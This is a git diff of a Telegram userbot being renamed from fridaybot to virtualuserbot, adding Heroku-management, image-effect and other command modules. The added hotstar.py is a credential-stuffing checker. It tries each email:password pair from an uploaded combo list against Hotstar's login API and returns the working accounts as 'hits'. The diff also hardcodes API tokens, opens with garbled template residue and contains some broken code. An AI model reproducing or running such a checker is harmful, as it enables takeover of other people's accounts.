{bid}{bid}\n{bid}{bid} {bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}{bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}{bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}{bid}{bid}\n{bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}{bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}{bid}\n\n{bid}{bid}{bid}{bid}{bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}\n {bid}{bid}\n {bid}{bid}\n {bid}{bid}\n {bid}{bid}\n {bid}{bid}\n {bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}\n\n{bid}{bid} {bid}{bid}\n{bid}{bid}{bid} {bid}{bid}\n{bid}{bid}{bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid}{bid}{bid}\n{bid}{bid} {bid}{bid}{bid}\n{bid}{bid} {bid}{bid}\n\n {bid}{bid}{bid}{bid}{bid}\n {bid}{bid}{bid}{bid}{bid}{bid}{bid}\n {bid}{bid} {bid}{bid}\n {bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid}\n {bid}{bid} {bid}{bid}\n {bid}{bid} {bid}{bid}\n {bid}{bid}{bid}{bid}{bid}{bid}{bid}\n {bid}{bid}{bid}{bid}{bid}\n\n{bid}{bid}{bid}{bid}{bid}{bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}{bid}{bid}\n{bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}{bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}{bid}" + ) diff --git a/fridaybot/modules/heroku.py b/virtualuserbot/modules/heroku.py similarity index 98% rename from fridaybot/modules/heroku.py rename to virtualuserbot/modules/heroku.py index 86ca642c..e97a4d3c 100644 --- a/fridaybot/modules/heroku.py +++ b/virtualuserbot/modules/heroku.py @@ -1,7 +1,7 @@ # Copyright (C) 2020 Adek Maulana. # All rights reserved. """ - Heroku manager for your fridaybot + Heroku manager for your virtualuserbot """ import asyncio @@ -12,8 +12,8 @@ import requests from telegraph import Telegraph -from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd telegraph = Telegraph() tgnoob = telegraph.create_account(short_name="Friday 🇮🇳") diff --git a/virtualuserbot/modules/heroku_help.py b/virtualuserbot/modules/heroku_help.py new file mode 100644 index 00000000..12debea3 --- /dev/null +++ b/virtualuserbot/modules/heroku_help.py @@ -0,0 +1,234 @@ +import asyncio +import math +import os + +import heroku3 +import requests + +from virtualuserbot.function.heroku_helper import HerokuHelper +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd + +Heroku = heroku3.from_key(Var.HEROKU_API_KEY) +heroku_api = "https://api.heroku.com" + + +@friday.on(friday_on_cmd(pattern="(logs|log)")) +@friday.on(sudo_cmd(pattern="(logs|log)", allow_sudo=True)) +async def giblog(event): + herokuHelper = HerokuHelper(Var.HEROKU_APP_NAME, Var.HEROKU_API_KEY) + logz = herokuHelper.getLog() + with open("logs.txt", "w") as log: + log.write(logz) + await borg.send_file( + event.chat_id, "logs.txt", caption=f"**Logs Of {Var.HEROKU_APP_NAME}**" + ) + + +@friday.on(friday_on_cmd(pattern="(rerun|restarts)")) +@friday.on(sudo_cmd(pattern="(restart|restarts)", allow_sudo=True)) +async def restart_me(event): + herokuHelper = HerokuHelper(Var.HEROKU_APP_NAME, Var.HEROKU_API_KEY) + await event.edit("`App is Restarting. This is May Take Upto 10Min.`") + herokuHelper.restart() + + +@friday.on(friday_on_cmd(pattern="usage$")) +@friday.on(sudo_cmd(pattern="usage$", allow_sudo=True)) +async def dyno_usage(dyno): + """ + Get your account Dyno Usage + """ + await edit_or_reply(dyno, "`Trying To Fetch Dyno Usage....`") + useragent = ( + "Mozilla/5.0 (Linux; Android 10; SM-G975F) " + "AppleWebKit/537.36 (KHTML, like Gecko) " + "Chrome/80.0.3987.149 Mobile Safari/537.36" + ) + user_id = Heroku.account().id + headers = { + "User-Agent": useragent, + "Authorization": f"Bearer {Var.HEROKU_API_KEY}", + "Accept": "application/vnd.heroku+json; version=3.account-quotas", + } + path = "/accounts/" + user_id + "/actions/get-quota" + r = requests.get(heroku_api + path, headers=headers) + if r.status_code != 200: + return await edit_or_reply( + dyno, "`Error: something bad happened`\n\n" f">.`{r.reason}`\n" + ) + result = r.json() + quota = result["account_quota"] + quota_used = result["quota_used"] + + """ - Used - """ + remaining_quota = quota - quota_used + percentage = math.floor(remaining_quota / quota * 100) + minutes_remaining = remaining_quota / 60 + hours = math.floor(minutes_remaining / 60) + minutes = math.floor(minutes_remaining % 60) + + """ - Current - """ + App = result["apps"] + try: + App[0]["quota_used"] + except IndexError: + AppQuotaUsed = 0 + AppPercentage = 0 + else: + AppQuotaUsed = App[0]["quota_used"] / 60 + AppPercentage = math.floor(App[0]["quota_used"] * 100 / quota) + AppHours = math.floor(AppQuotaUsed / 60) + AppMinutes = math.floor(AppQuotaUsed % 60) + + await asyncio.sleep(1.5) + + return await edit_or_reply( + dyno, + "**Dyno Usage Data**:\n\n" + f"✗ **APP NAME =>** `{Var.HEROKU_APP_NAME}` \n" + f"✗ **Usage in Hours And Minutes =>** `{AppHours}h` `{AppMinutes}m`" + f"✗ **Usage Percentage =>** [`{AppPercentage} %`]\n" + "\n\n" + "✗ **Dyno Remaining This Months 📆:**\n" + f"✗ `{hours}`**h** `{minutes}`**m** \n" + f"✗ **Percentage :-** [`{percentage}`**%**]", + ) + + +@friday.on( + friday_on_cmd(pattern="(set|get|del) var(?: |$)(.*)(?: |$)([\s\S]*)", outgoing=True) +) +@friday.on( + sudo_cmd(pattern="(set|get|del) var(?: |$)(.*)(?: |$)([\s\S]*)", allow_sudo=True) +) +async def variable(var): + """ + Manage most of ConfigVars setting, set new var, get current var, + or delete var... + """ + if Var.HEROKU_APP_NAME is not None: + app = Heroku.app(Var.HEROKU_APP_NAME) + else: + return await edit_or_reply( + var, "`[HEROKU]:" "\nPlease setup your` **HEROKU_APP_NAME**" + ) + exe = var.pattern_match.group(1) + heroku_var = app.config() + if exe == "get": + await edit_or_reply(var, "`Getting information...`") + await asyncio.sleep(1.5) + try: + variable = var.pattern_match.group(2).split()[0] + if variable in heroku_var: + return await edit_or_reply( + var, + "**ConfigVars**:" f"\n\n`{variable} = {heroku_var[variable]}`\n", + ) + else: + return await edit_or_reply( + var, "**ConfigVars**:" f"\n\n`Error:\n-> {variable} don't exists`" + ) + except IndexError: + configs = prettyjson(heroku_var.to_dict(), indent=2) + with open("configs.json", "w") as fp: + fp.write(configs) + with open("configs.json", "r") as fp: + result = fp.read() + if len(result) >= 4096: + await var.client.send_file( + var.chat_id, + "configs.json", + reply_to=var.id, + caption="`Output too large, sending it as a file`", + ) + else: + await edit_or_reply( + var, + "`[HEROKU]` ConfigVars:\n\n" + "================================" + f"\n```{result}```\n" + "================================", + ) + os.remove("configs.json") + return + elif exe == "set": + await edit_or_reply(var, "`Setting information...`") + variable = var.pattern_match.group(2) + if not variable: + return await edit_or_reply(var, ">`.set var `") + value = var.pattern_match.group(3) + if not value: + variable = variable.split()[0] + try: + value = var.pattern_match.group(2).split()[1] + except IndexError: + return await edit_or_reply(var, ">`.set var `") + await asyncio.sleep(1.5) + if variable in heroku_var: + await edit_or_reply( + var, f"**{variable}** `successfully changed to` -> **{value}**" + ) + else: + await edit_or_reply( + var, f"**{variable}** `successfully added with value` -> **{value}**" + ) + heroku_var[variable] = value + elif exe == "del": + await edit_or_reply(var, "`Getting information to deleting variable...`") + try: + variable = var.pattern_match.group(2).split()[0] + except IndexError: + return await edit_or_reply( + var, "`Please specify ConfigVars you want to delete`" + ) + await asyncio.sleep(1.5) + if variable in heroku_var: + await edit_or_reply(var, f"**{variable}** `successfully deleted`") + del heroku_var[variable] + else: + return await edit_or_reply(var, f"**{variable}** `is not exists`") + + +@friday.on(friday_on_cmd(pattern="shp ?(.*)")) +async def lel(event): + cpass, npass = event.pattern_match.group(1).split(" ", 1) + await event.edit("`Changing You Pass`") + accountm = Heroku.account() + accountm.change_password(cpass, npass) + await event.edit(f"`Done !, Changed You Pass to {npass}") + + +@friday.on(friday_on_cmd(pattern="acolb (.*)")) +async def sf(event): + hmm = event.pattern_match.group(1) + app = Heroku.app(Var.HEROKU_APP_NAME) + collaborator = app.add_collaborator(user_id_or_email=hmm, silent=0) + await event.edit("`Sent Invitation To Accept Your Collab`") + + +@friday.on(friday_on_cmd(pattern="tfa (.*)")) +async def l(event): + hmm = event.pattern_match.group(1) + app = Heroku.app(Var.HEROKU_APP_NAME) + transfer = app.create_transfer(recipient_id_or_name=hmm) + + +@friday.on(friday_on_cmd(pattern="exit$")) +async def killdyno(event): + app = Heroku.app(Var.HEROKU_APP_NAME) + await event.edit("`Dyno Is Off. Manually Turn it On Later`") + app.kill_dyno("worker.1") + + +def prettyjson(obj, indent=2, maxlinelength=80): + """Renders JSON content with indentation and line splits/concatenations to fit maxlinelength. + Only dicts, lists and basic types are supported""" + + items, _ = getsubitems( + obj, + itemkey="", + islast=True, + maxlinelength=maxlinelength - indent, + indent=indent, + ) + return indentitems(items, indent, level=0) diff --git a/virtualuserbot/modules/hotstar.py b/virtualuserbot/modules/hotstar.py new file mode 100644 index 00000000..5a9bbb5b --- /dev/null +++ b/virtualuserbot/modules/hotstar.py @@ -0,0 +1,70 @@ +import json + +import requests + +from virtualuserbot.utils import friday_on_cmd + +url = "https://api.hotstar.com/in/aadhar/v2/web/in/user/login" +headers = { + "content-type": "application/json", + "Referer": "https://www.hotstar.com/", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0", + "Accept": "*/*", + "hotstarauth": "st=1542433344~exp=1542439344~acl=/*~hmac=7dd9deaf6fb16859bd90b1cc84b0d39e0c07b6bb2e174ffecd9cb070a25d9418", + "Accept-Language": "en-US,en;q=0.5", + "Accept-Encoding": "gzip, deflate", + "x-user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0 FKUA/website/41/website/Desktop", +} + + +@friday.on(friday_on_cmd(pattern="hotstar")) +async def hotstar(event): + stark_dict = [] + hits_dict = [] + hits = 0 + bads = 0 + lol = await event.get_reply_message() + starky = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY) + file = open(starky, "r") + lines = file.readlines() + for line in lines: + stark_dict.append(line) + logger.info(stark_dict) + for i in stark_dict: + starkm = i.split(":") + email = starkm[0] + password = starkm[1] + print(email) + print(password) + payload = { + "isProfileRequired": "false", + "userData": { + "deviceId": "a7d1bc04-f55e-4b16-80e8-d8fbf4c91768", + "password": password, + "username": email, + "usertype": "email", + }, + } + try: + meke = requests.post(url, data=json.dumps(payload), headers=headers) + logger.info(f"{meke.text} {int(meke.status_code)}") + except Exception as s: + await event.edit("**Errors : **" + str(s)) + return + if meke.status_code == 200: + hits += 1 + hits_dict.append(f"{email}:{password}") + else: + bads += 1 + logger.info(hits_dict) + if len(hits_dict) == 0: + await event.edit("No Hits " + meke.text) + return + with open("hits.txt", "w") as hitfile: + for s in hits_dict: + hitfile.write(s) + await borg.send_file( + event.chat_id, "hits.txt", caption=f"**HITS :** `{hits}` \n**BAD :** `{bads}`" + ) + os.remove(starky) + os.remove("hits.txt") diff --git a/fridaybot/modules/howtogoogle.py b/virtualuserbot/modules/howtogoogle.py similarity index 90% rename from fridaybot/modules/howtogoogle.py rename to virtualuserbot/modules/howtogoogle.py index 036b6200..5182fadb 100644 --- a/fridaybot/modules/howtogoogle.py +++ b/virtualuserbot/modules/howtogoogle.py @@ -7,8 +7,8 @@ import requests -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("ggl (.*)")) diff --git a/fridaybot/modules/hyperlink.py b/virtualuserbot/modules/hyperlink.py similarity index 83% rename from fridaybot/modules/hyperlink.py rename to virtualuserbot/modules/hyperlink.py index 2ebb9523..311c3eca 100644 --- a/fridaybot/modules/hyperlink.py +++ b/virtualuserbot/modules/hyperlink.py @@ -2,8 +2,8 @@ # By Priyam Kalra # Syntax (.hl ) -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd(pattern="hl ?(.*)")) diff --git a/fridaybot/modules/iffuci.py b/virtualuserbot/modules/iffuci.py similarity index 96% rename from fridaybot/modules/iffuci.py rename to virtualuserbot/modules/iffuci.py index a89b2e65..24463fc9 100644 --- a/fridaybot/modules/iffuci.py +++ b/virtualuserbot/modules/iffuci.py @@ -6,7 +6,7 @@ import requests -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd def progress(current, total): diff --git a/fridaybot/modules/ifsc.py b/virtualuserbot/modules/ifsc.py similarity index 97% rename from fridaybot/modules/ifsc.py rename to virtualuserbot/modules/ifsc.py index 62f2621a..d42246dd 100644 --- a/fridaybot/modules/ifsc.py +++ b/virtualuserbot/modules/ifsc.py @@ -14,7 +14,7 @@ import requests from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd(pattern="ifsc (.*)")) diff --git a/virtualuserbot/modules/imageenc.py b/virtualuserbot/modules/imageenc.py new file mode 100644 index 00000000..46d43f0f --- /dev/null +++ b/virtualuserbot/modules/imageenc.py @@ -0,0 +1,89 @@ +# Made for DARK COBRA +# Thanks to @THE_B_LACK_HAT +# Fixed and Edited by @danish_00 +# Kang with credits else gay.. + +import os + +import requests + +from virtualuserbot import ALIVE_NAME, CMD_HELP +from virtualuserbot import bot +from virtualuserbot import bot as borg + +from ..utils import admin_cmd + +DARKCOBRA = os.environ.get("DEEP_AI", "quickstart-QUdJIGlzIGNvbWluZy4uLi4K") + +KANG_KAREGA_MC = str(ALIVE_NAME) if ALIVE_NAME else "nikal Mc" + + +@bot.on(admin_cmd(pattern="enc ?(.*)", outgoing=True)) # hehe +async def _(event): + reply = await event.get_reply_message() + if not reply: + + return await event.edit("Reply to any image or non animated sticker !") + + input_str = event.pattern_match.group(1) + hm = input_str + devent = await event.edit("yo let me downlaoad it....") + media = await event.client.download_media(reply) + if not media.endswith(("png", "jpg", "webp")): + return await event.edit("Reply to any image or non animated sticker !") + + if input_str: + devent = await event.edit("styling the image sar...") + r = requests.post( + "https://api.deepai.org/api/neural-style", + files={ + "style": f"{hm}", + "content": open(media, "rb"), + }, + headers={"api-key": DARKCOBRA}, + ) + + os.remove(media) + if "status" in r.json(): + return await devent.edit(r.json()["status"]) + r_json = r.json()["output_url"] + pic_id = r.json()["id"] + + link = f"https://api.deepai.org/job-view-file/{pic_id}/inputs/image.jpg" + result = f"{r_json}" + + await devent.delete() + await borg.send_message(event.chat_id, file=result) + + else: + devent = await event.edit("styling the image sar...") + r = requests.post( + "https://api.deepai.org/api/neural-style", + files={ + "style": "https://telegra.ph/file/aaaa686bd3acff51208d7.jpg", + "content": open(media, "rb"), + }, + headers={"api-key": DARKCOBRA}, + ) + + os.remove(media) + if "status" in r.json(): + return await devent.edit(r.json()["status"]) + r_json = r.json()["output_url"] + pic_id = r.json()["id"] + + link = f"https://api.deepai.org/job-view-file/{pic_id}/inputs/image.jpg" + result = f"{r_json}" + + await devent.delete() + await borg.send_message(event.chat_id, file=result) + + +CMD_HELP.update( + { + "imgenc": ".enc " + "\nIt enhancerize any anime pic (Note :-if its not working then go to deepai.org then get api and set var DEEP_AI nd key.)" + } +) + +# hehe diff --git a/virtualuserbot/modules/imagefun.py b/virtualuserbot/modules/imagefun.py new file mode 100644 index 00000000..b0576d1a --- /dev/null +++ b/virtualuserbot/modules/imagefun.py @@ -0,0 +1,245 @@ +# By @danish_00 +# import cv2 +# with @shivam_patel +# @THE_B_LACK_HAT +# Team Dc +# For Cobra + +import asyncio +import os +import shutil + +import cv2 +import numpy as np +import requests +from PIL import Image, ImageDraw +from telegraph import upload_file + +from virtualuserbot import CMD_HELP, bot +from virtualuserbot.utils import admin_cmd + +path = "./dcobra/" +if not os.path.isdir(path): + os.makedirs(path) + + +@bot.on(admin_cmd(pattern=r"trig")) +async def dc(event): + if not event.reply_to_msg_id: + await event.edit("Reply to any media.") + return + reply = await event.get_reply_message() + await event.edit("`Processing...`") + download = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(download) + ret, frame = img.read() + cv2.imwrite("danish.png", frame) + url = upload_file("danish.png") + link = f"https://telegra.ph{url[0]}" + api = f"https://some-random-api.ml/canvas/triggered?avatar={link}" + r = requests.get(api) + open("shivam.gif", "wb").write(r.content) + await event.client.send_file( + event.chat_id, + "shivam.gif", + force_document=False, + reply_to=event.reply_to_msg_id, + ) + await event.delete() + shutil.rmtree(path) + os.remove("danish.png") + os.remove("shivam.gif") + + +@bot.on(admin_cmd(pattern=r"wst")) +async def dc(event): + if not event.reply_to_msg_id: + await event.edit("Reply to any media.") + return + reply = await event.get_reply_message() + await event.edit("`Processing...`") + download = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(download) + ret, frame = img.read() + cv2.imwrite("danish.jpg", frame) + url = upload_file("danish.jpg") + link = f"https://telegra.ph{url[0]}" + api = f"https://some-random-api.ml/canvas/wasted?avatar={link}" + r = requests.get(api) + open("shivam.jpg", "wb").write(r.content) + await event.client.send_file( + event.chat_id, "shivam.jpg", stream=True, reply_to=event.reply_to_msg_id + ) + await event.delete() + shutil.rmtree(path) + os.remove("danish.jpg") + os.remove("shivam.jpg") + + +@bot.on(admin_cmd(pattern="rgif")) +async def _(event): + if not event.reply_to_msg_id: + await event.edit("Reply to any media.") + return + reply = await event.get_reply_message() + download = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(download) + ret, frame = img.read() + cv2.imwrite("danish.png", frame) + danish = Image.open("danish.png") + dark, python = danish.size + cobra = f"""ffmpeg -f lavfi -i color=c=ffffff00:s={dark}x{python}:d=10 -loop 1 -i danish.png -filter_complex "[1]rotate=angle=PI*t:fillcolor=none:ow='hypot(iw,ih)':oh=ow[fg];[0][fg]overlay=x=(W-w)/2:y=(H-h)/2:shortest=1:format=auto,format=yuv420p" -movflags +faststart danish.mp4 -y""" + await event.edit("```Processing ...```") + if event.reply_to_msg_id: + event.reply_to_msg_id + process = await asyncio.create_subprocess_shell( + cobra, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE + ) + stdout, stderr = await process.communicate() + await event.edit("```Uploading...```") + await event.client.send_file( + event.chat_id, + "danish.mp4", + force_document=False, + reply_to=event.reply_to_msg_id, + ) + await event.delete() + shutil.rmtree(path) + os.remove("danish.mp4") + os.remove("danish.png") + + +@bot.on(admin_cmd("grey")) +async def hehe(event): + if not event.reply_to_msg_id: + await event.edit("Reply to any Media.") + return + reply = await event.get_reply_message() + await event.edit("`Processing...`") + image = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(image) + ret, frame = img.read() + gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) + cv2.imwrite("danish.jpg", gray) + await event.client.send_file( + event.chat_id, + "danish.jpg", + force_document=False, + reply_to=event.reply_to_msg_id, + ) + await event.delete() + shutil.rmtree(path) + os.remove("danish.jpg") + + # api for adding color only.... + + +DARKCOBRA = Config.DEEP_AI if Config.DEEP_AI else "quickstart-QUdJIGlzIGNvbWluZy4uLi4K" + + +@borg.on(admin_cmd(pattern="color$", outgoing=True)) +async def _(event): + if not event.reply_to_msg_id: + await event.edit("Reply to any Media.") + return + reply = await event.get_reply_message() + await event.edit("`Coloring image 🎨🖌️...`") + image = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(image) + ret, frame = img.read() + cv2.imwrite("danish.jpg", frame) + r = requests.post( + "https://api.deepai.org/api/colorizer", + files={"image": open("danish.jpg", "rb")}, + headers={"api-key": f"{DARKCOBRA}"}, + ) + os.remove("danish.jpg") + if "status" in r.json(): + return await event.edit(r.json()["status"]) + r_json = r.json()["output_url"] + pic_id = r.json()["id"] + link = f"https://api.deepai.org/job-view-file/{pic_id}/inputs/image.jpg" + result = f"{r_json}" + await bot.send_message(event.chat_id, file=result, reply_to=event.reply_to_msg_id) + await event.delete() + + +@bot.on(admin_cmd(pattern="circle", outgoing=True)) +async def shiv(event): + if not event.reply_to_msg_id: + await event.edit("Reply to any media.") + return + await event.edit("```Processing...```") + reply = await event.get_reply_message() + download = await bot.download_media(reply.media, path) + danish = cv2.VideoCapture(download) + ret, frame = danish.read() + cv2.imwrite("danish.jpg", frame) + img = Image.open("danish.jpg").convert("RGB") + npImage = np.array(img) + h, w = img.size + alpha = Image.new("L", img.size, 0) + draw = ImageDraw.Draw(alpha) + draw.pieslice([0, 0, h, w], 0, 360, fill=255) + npAlpha = np.array(alpha) + npImage = np.dstack((npImage, npAlpha)) + Image.fromarray(npImage).save("shivam.webp") + await event.client.send_file( + event.chat_id, + "shivam.webp", + force_document=False, + reply_to=event.reply_to_msg_id, + ) + await event.delete() + shutil.rmtree(path) + os.remove("shivam.webp") + os.remove("danish.jpg") + + +@borg.on(admin_cmd(pattern="ftoon$")) +async def _(event): + if not event.reply_to_msg_id: + await event.edit("Reply to any Media.") + return + reply = await event.get_reply_message() + await event.edit("```Toonifing face😜😝...```") + image = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(image) + ret, frame = img.read() + cv2.imwrite("danish.jpg", frame) + r = requests.post( + "https://api.deepai.org/api/toonify", + files={"image": open("danish.jpg", "rb")}, + headers={"api-key": f"{DARKCOBRA}"}, + ) + os.remove("danish.jpg") + if "status" in r.json(): + return await event.edit(r.json()["status"]) + r_json = r.json()["output_url"] + pic_id = r.json()["id"] + link = f"https://api.deepai.org/job-view-file/{pic_id}/inputs/image.jpg" + result = f"{r_json}" + await event.edit("```Be sure to reply a image in which face is visible```") + await bot.send_message(event.chat_id, file=result, reply_to=event.reply_to_msg_id) + await event.delete() + + +CMD_HELP.update( + { + "imagefun": "__**PLUGIN NAME :** Image Fun _\ + \n\n📌** CMD ★** `.trig (reply to media)`\ + \n**USAGE ★ **Makes a Triggered Gif\ + \n\n📌** CMD ★** `.wst(reply to media)`\ + \n**USAGE ★ **Makes a Triggered Gif\ + \n\n📌** CMD ★** `.rgif(reply to media)`\ + \n**USAGE ★ **Show A rotation gif. 😂😂\ + \n\n📌** CMD ★** `.grey(reply to media)`\ + \n**USAGE ★ **Convert Colour image to Black nd white\ + \n\n📌** CMD ★** `.color(reply to media)`\ + \n**USAGE ★ **Convert Black-White media to Colorfull.\ + \n\n📌** CMD ★** `.circle(reply to media)`\ + \n**USAGE ★ **Make A circle sticker of that media.\ + \n\n📌** CMD ★** `.ftoon(reply to media)`\ + \n**USAGE ★ **Makes faces look like 💩Toon💩." + } +) # Thanks for Coming 🤗🤗 diff --git a/virtualuserbot/modules/imagefun2.py b/virtualuserbot/modules/imagefun2.py new file mode 100644 index 00000000..33a7968b --- /dev/null +++ b/virtualuserbot/modules/imagefun2.py @@ -0,0 +1,228 @@ +# By @danish_00 +# OpenCV Basics +# For Dark Cobra +# Team Dc + +import os +import shutil + +import cv2 +import requests +from telegraph import upload_file + +from virtualuserbot import bot + +from ..utils import admin_cmd + +path = "./dcobra/" +if not os.path.isdir(path): + os.makedirs(path) + + +@bot.on(admin_cmd("blur")) +async def hehe(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + reply = await event.get_reply_message() + await event.edit("`Processing...`") + image = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(image) + ret, frame = img.read() + blur = cv2.GaussianBlur(frame, (35, 35), 0) + cv2.imwrite("danish.jpg", blur) + await event.client.send_file( + event.chat_id, + "danish.jpg", + force_document=False, + reply_to=event.reply_to_msg_id, + ) + await event.delete() + shutil.rmtree(path) + os.remove("danish.jpg") + + +@bot.on(admin_cmd("invert")) +async def hehe(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + reply = await event.get_reply_message() + await event.edit("`Processing...`") + image = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(image) + ret, frame = img.read() + invert = cv2.bitwise_not(frame) + cv2.imwrite("danish.jpg", invert) + await event.client.send_file( + event.chat_id, + "danish.jpg", + force_document=False, + reply_to=event.reply_to_msg_id, + ) + await event.delete() + shutil.rmtree(path) + os.remove("danish.jpg") + + +@bot.on(admin_cmd("flip")) +async def hehe(event): + if not event.reply_to_msg_id: + await event.edit("Reply to media") + return + await event.edit("```Processing...```") + reply = await event.get_reply_message() + pathh = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(pathh) + ret, frame = img.read() + flip = cv2.flip(frame, 1) + cv2.imwrite("cobra.jpg", frame) + cv2.imwrite("danish.jpg", flip) + dark = cv2.imread("cobra.jpg") + cobra = cv2.imread("danish.jpg") + merge = cv2.hconcat([dark, cobra]) + cv2.imwrite("dark.jpg", merge) + await event.client.send_file( + event.chat_id, "dark.jpg", reply_to=event.reply_to_msg_id + ) + await event.delete() + shutil.rmtree(path) + os.remove("danish.jpg") + os.remove("dark.jpg") + os.remove("cobra.jpg") + + +@bot.on(admin_cmd("mirror")) +async def hehe(event): + if not event.reply_to_msg_id: + await event.edit("Reply to media") + return + await event.edit("```Processing...```") + reply = await event.get_reply_message() + pathh = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(pathh) + ret, frame = img.read() + flip = cv2.flip(frame, 1) + up = cv2.rotate(flip, cv2.ROTATE_180) + cv2.imwrite("cobra.jpg", frame) + cv2.imwrite("danish.jpg", up) + dark = cv2.imread("cobra.jpg") + cobra = cv2.imread("danish.jpg") + merge = cv2.vconcat([dark, cobra]) + cv2.imwrite("dark.jpg", merge) + await event.client.send_file( + event.chat_id, "dark.jpg", reply_to=event.reply_to_msg_id + ) + await event.delete() + shutil.rmtree(path) + os.remove("danish.jpg") + os.remove("dark.jpg") + os.remove("cobra.jpg") + + +@bot.on(admin_cmd("enhance")) +async def hehe(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + reply = await event.get_reply_message() + await event.edit("`Processing...`") + image = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(image) + ret, frame = img.read() + dtl = cv2.detailEnhance(frame, sigma_s=10, sigma_r=0.15) + cv2.imwrite("danish.jpg", dtl) + await event.client.send_file( + event.chat_id, + "danish.jpg", + force_document=False, + reply_to=event.reply_to_msg_id, + ) + await event.delete() + shutil.rmtree(path) + os.remove("danish.jpg") + + +@bot.on(admin_cmd("pencil")) +async def hehe(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + reply = await event.get_reply_message() + await event.edit("`Processing...`") + image = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(image) + ret, frame = img.read() + grey = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) + blur = cv2.GaussianBlur(grey, (3, 3), 0) + output = cv2.Laplacian(blur, -1, ksize=5) + output = 255 - output + ret, output = cv2.threshold(output, 150, 255, cv2.THRESH_BINARY) + cv2.imwrite("danish.jpg", output) + await event.client.send_file( + event.chat_id, + "danish.jpg", + force_document=False, + reply_to=event.reply_to_msg_id, + ) + await event.delete() + shutil.rmtree(path) + os.remove("danish.jpg") + + +@bot.on(admin_cmd("smooth")) +async def hehe(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + reply = await event.get_reply_message() + await event.edit("`Processing...`") + image = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(image) + ret, frame = img.read() + smooth = cv2.edgePreservingFilter(frame, flags=1, sigma_s=60, sigma_r=0.4) + cv2.imwrite("danish.jpg", smooth) + await event.client.send_file( + event.chat_id, + "danish.jpg", + force_document=False, + reply_to=event.reply_to_msg_id, + ) + await event.delete() + shutil.rmtree(path) + os.remove("danish.jpg") + + # .ytc by @shivam_patel + # kang with credits + + +@bot.on(admin_cmd(pattern=r"yttc")) +async def hehe(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + reply = await event.get_reply_message() + download = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(download) + ret, frame = img.read() + cv2.imwrite("danish.png", frame) + givenvar = event.text + text = givenvar[5:] + try: + global username, comment + username, comment = text.split(".") + except: + await event.edit("`.yttc username.comment reply to image`") + await event.edit("`Processing...`") + url_s = upload_file("danish.png") + imglink = f"https://telegra.ph{url_s[0]}" + nikal = f"https://some-random-api.ml/canvas/youtube-comment?avatar={imglink}&comment={comment}&username={username}" + r = requests.get(nikal) + open("shivam.png", "wb").write(r.content) + await event.client.send_file( + event.chat_id, "shivam.png", reply_to=event.reply_to_msg_id + ) + await event.delete() + shutil.rmtree(path) + os.remove("shivam.png") + os.remove("danish.jpg") diff --git a/virtualuserbot/modules/imagefun3.py b/virtualuserbot/modules/imagefun3.py new file mode 100644 index 00000000..5f311bab --- /dev/null +++ b/virtualuserbot/modules/imagefun3.py @@ -0,0 +1,372 @@ +# originally made by @danish_00 +# Team dc +# For cobra +# Just Copied +# Credits to DC + 